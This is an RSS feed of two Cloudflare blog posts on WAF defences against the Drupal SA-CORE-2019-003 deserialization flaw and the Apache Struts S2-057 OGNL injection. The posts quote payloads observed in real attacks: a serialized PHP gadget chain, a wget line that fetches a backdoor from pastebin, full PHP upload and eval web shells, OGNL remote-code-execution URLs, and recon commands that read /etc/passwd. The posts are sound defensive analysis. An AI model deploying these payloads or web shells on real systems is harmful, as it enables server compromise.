
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Thu, 09 Apr 2026 03:52:24 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Stopping Drupal’s SA-CORE-2019-003 Vulnerability]]></title>
            <link>https://blog.cloudflare.com/stopping-drupal-sa-core-2019-003/</link>
            <pubDate>Tue, 05 Mar 2019 22:55:04 GMT</pubDate>
            <description><![CDATA[ Drupal discovered a severe vulnerability and said they would release a patch. When the patch was released we analysed and created rules to mitigate these. By analysing the patch we created WAF rules to protect Cloudflare customers running Drupal. ]]></description>
            <content:encoded><![CDATA[ <p>On the 20th February 2019, Drupal <a href="https://www.drupal.org/psa-2019-02-19">announced</a> that they had discovered a severe vulnerability and that they would be releasing a patch for it the next day. Drupal is a Content Management System used by many of our customers, which made it important that our WAF protect against the vulnerability as quickly as possible.</p><p>As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.</p><p>We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.</p>
    <div>
      <h3>The exploit</h3>
      <a href="#the-exploit">
        
      </a>
    </div>
    <p>As Drupal's <a href="https://www.drupal.org/sa-core-2019-003">release announcement</a> explains, a site is affected if:</p><ul><li><p>It has the Drupal 8 RESTful API enabled                                      </p></li><li><p>Or it uses <a href="https://www.drupal.org/sa-contrib-2019-020">one</a> of the <a href="https://www.drupal.org/security/contrib">8 modules</a> found to be affected</p></li></ul><p>From looking at the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936">patch</a> we very quickly realised the exploit would be based on deserialization. The option <code>['allowed_classes' =&gt; FALSE]</code> was added as part of the patch to the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-9077dc961778b7c8d9c47882c4248e42L67">link</a> and <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-d200adc66611cf78e65f2a3258144c49L194">map</a> field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.</p><p>This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.</p><p>Making the situation worse was the fact that the deserialization was performed regardless of any authentication.</p><p>We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation <a href="https://secure.php.net/manual/en/function.unserialize.php">notes</a>, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.</p><p>This blog <a href="https://www.ambionics.io/blog/drupal8-rce">post from Ambionics</a> does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.</p>
    <div>
      <h3>What we caught</h3>
      <a href="#what-we-caught">
        
      </a>
    </div>
    <p>After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.</p><p>This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1UGyxkHL7SuJOy3M65Kf1u/7b062c8713332ad618aea8e0e2169e47/D0020.png" />
            
            </figure><p>Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.</p><p>These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as <a href="https://www.ambionics.io/blog/drupal8-rce">ambionics</a> did.</p>
            <pre><code>'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''</code></pre>
            <p>After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.</p><p>The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.</p><p><code>wget -O 1x.php https://pastebin.com/raw/npLq4493</code></p><p>This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.</p>
            <pre><code>&lt;?  echo "'XXXXXXXXXXXX";
$cwd = getcwd();
Echo '&lt;center&gt;  &lt;form method="post" target="_self" enctype="multipart/form-data"&gt;  &lt;input type="file" size="20" name="uploads" /&gt; &lt;input type="submit" value="upload" /&gt;  &lt;/form&gt;  &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;&lt;br&gt;';
if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "&lt;script&gt;alert('upload Done');
		&lt;/script&gt;&lt;b&gt;Uploaded !!!&lt;/b&gt;&lt;br&gt;name : ".$_FILES['uploads']['name']."&lt;br&gt;size : ".$_FILES['uploads']['size']."&lt;br&gt;type : ".$_FILES['uploads']['type'];
}
?&gt;</code></pre>
            <p>Another malicious payload seen was much more minimal:</p><p><code>echo '&lt;?php @eval($_POST['pass']) ?&gt;' &gt; vuln1.php</code></p><p>This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.</p>
    <div>
      <h3>Rates of exploitation</h3>
      <a href="#rates-of-exploitation">
        
      </a>
    </div>
    <p>The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.</p><p>It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.</p> ]]></content:encoded>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">1bvpiflJ1cp5qLlzmhEyks</guid>
            <dc:creator>Richard Sommerville</dc:creator>
        </item>
        <item>
            <title><![CDATA[Protection from Struts Remote Code Execution Vulnerability (S2-057)]]></title>
            <link>https://blog.cloudflare.com/apache-struts-s2-057/</link>
            <pubDate>Wed, 05 Sep 2018 14:58:32 GMT</pubDate>
            <description><![CDATA[ On August 22 a new vulnerability in the Apache Struts framework was announced. We quickly deployed a mitigation to protect customers. ]]></description>
            <content:encoded><![CDATA[ <p>On August 22 a new vulnerability in the Apache Struts framework was <a href="https://cwiki.apache.org/confluence/display/WW/S2-057">announced.</a> It allows unauthenticated attackers to perform Remote Code Execution (RCE) on vulnerable hosts.</p><p>As security researcher Man Yue Mo <a href="https://lgtm.com/blog/apache_struts_CVE-2018-11776">explained</a>, the vulnerability has similarities with previous Apache Struts vulnerabilities. The Cloudflare WAF already mitigated these so adjusting our rules to handle the new vulnerability was simple. Within hours of the disclosure we deployed a mitigation with no customer action required.</p>
    <div>
      <h3>OGNL, again</h3>
      <a href="#ognl-again">
        
      </a>
    </div>
    <p>Apache Struts RCE payloads often come in the form of Object-Graph Navigation Library (OGNL) expressions. OGNL is a language for interacting with the properties and functions of Java classes and Apache Struts supports it in many contexts.</p><p>For example, the snippet below uses OGNL to dynamically insert the value "5" into a webpage by calling a function.</p>
            <pre><code>&lt;s:property value="%{getSum(2,3)}" /&gt;</code></pre>
            <p>OGNL expressions can also be used for more general code execution:</p>
            <pre><code>${
    #_memberAccess["allowStaticMethodAccess"]=true,
    @java.lang.Runtime@getRuntime().exec('calc')
}</code></pre>
            <p>Which means if you can find a way to make Apache Struts execute a user supplied OGNL expression, you've found an RCE vulnerability. Security researchers have found a significant number of vulnerabilities where this was the root cause.</p>
    <div>
      <h3>What’s different this time?</h3>
      <a href="#whats-different-this-time">
        
      </a>
    </div>
    <p>The major difference between the various OGNL related Struts vulnerabilities is where the payload can be supplied.</p><p>For example <a href="https://cwiki.apache.org/confluence/display/WW/S2-003">S2-003</a>, <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">S2-005</a> and <a href="https://cwiki.apache.org/confluence/display/WW/S2-009">S2-009</a> allowed OGNL expressions to be included in HTTP Parameters. In <a href="https://cwiki.apache.org/confluence/display/WW/S2-045">S2-045</a>, expressions could be supplied via the ‘Content-Type’ header.  And <a href="https://cwiki.apache.org/confluence/display/WW/S2-048">S2-048</a> worked by inserting OGNL expressions anywhere they might be used incorrectly with the ActionMessage class (most likely via an HTTP parameter).</p><p>With <a href="https://cwiki.apache.org/confluence/display/WW/S2-057">S2-057</a>, the payload is supplied via an action’s “namespace”. Semmel do a great job of explaining the exact conditions for this in their disclosure <a href="https://semmle.com/news/apache-struts-CVE-2018-11776">post</a>.</p><p>An example is to omit the "namespace" parameter from the  redirectAction result type.</p>
            <pre><code>&lt;package name="public" extends="struts-default"&gt;
    &lt;action name="login" class="..."&gt;
        &lt;!-- Redirect to another namespace --&gt;
        &lt;result type="redirectAction"&gt;
            &lt;param name="actionName"&gt;dashboard&lt;/param&gt;
            &lt;!-- namespace is omitted --&gt;
            &lt;!--&lt;param name="namespace"&gt;/secure&lt;/param&gt;--&gt;
        &lt;/result&gt;
    &lt;/action&gt;
&lt;/package&gt;</code></pre>
            <p>The documentation describes this parameter as optional. If you don't include an explicit "namespace" then the client can supply it in the URI.</p>
            <pre><code>vulnerablesite.com/struts2-blank/my-current-name-space/HelloWorld.action</code></pre>
            <p>If the client inserts an OGNL expression instead, it will be executed.</p>
            <pre><code>vulnerablesite.com/struts2-blank/${#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')}/HelloWorld.action</code></pre>
            
    <div>
      <h3>Cloudflare’s got your covered</h3>
      <a href="#cloudflares-got-your-covered">
        
      </a>
    </div>
    <p>Cloudflare has rules to protect against this particular vulnerability, and many other Struts vulnerabilities. These have been configured as Block by default, so no customer action is needed, assuming the Cloudflare Specials rule set is enabled in your WAF configuration.</p><p>For customers on our Pro, Business and Enterprise plans, you can do this by going to the “Firewall” tab:</p><p>Clicking “Web Application Firewall” and setting the toggle to “On”:</p><p>Then finally ensuring the “Cloudflare Specials” rule set is set to “On” as well:</p><p>Where possible, we signature OGNL expressions in general, because of how dangerous it is for a server to trust any user-supplied OGNL. This allows the WAF to protect you without detailed knowledge of how specific exploits might work.</p><p>Additionally, for this and other Struts vulnerabilities, we produce rules that target specific locations where payloads can be supplied in (e.g. URI, parameters, etc). By focusing on specific payload vectors these rules can be much stricter in the range of inputs allowed, without the risk of increased false positives.</p>
    <div>
      <h3>What we've seen in the last 24h</h3>
      <a href="#what-weve-seen-in-the-last-24h">
        
      </a>
    </div>
    <p>Since the disclosure, we've seen a fairly constant rate of attacks targeting S2-057 vulnerability:</p><p>About half of these are coming from known vulnerability scanners, however our research has shown that the vast majority of payloads are only probing, rather than attempting to execute malicious actions. The most common tactics for that are using the OGNL expression print extra strings in the server response, or append extra headers.</p><p>Aside from that, our Research team have also seen attempts to run various commands:</p><ul><li><p>Ipconfig.exe</p></li><li><p>dir</p></li><li><p>'cat /etc/passwd'</p></li><li><p>/sbin/ifconfig</p></li><li><p>net users</p></li><li><p>file /etc/passwd</p></li><li><p>Whoami</p></li><li><p>id</p></li><li><p>Ping and nslookup commands to contact external servers</p></li></ul><p>If you have any further questions about how our WAF works, or whether you have the right protections in place, please don’t hesitate to reach out to our Support teams.</p> ]]></content:encoded>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Reliability]]></category>
            <guid isPermaLink="false">62KfwHf41FynGZIUD4Fads</guid>
            <dc:creator>Richard Sommerville</dc:creator>
        </item>
    </channel>
</rss>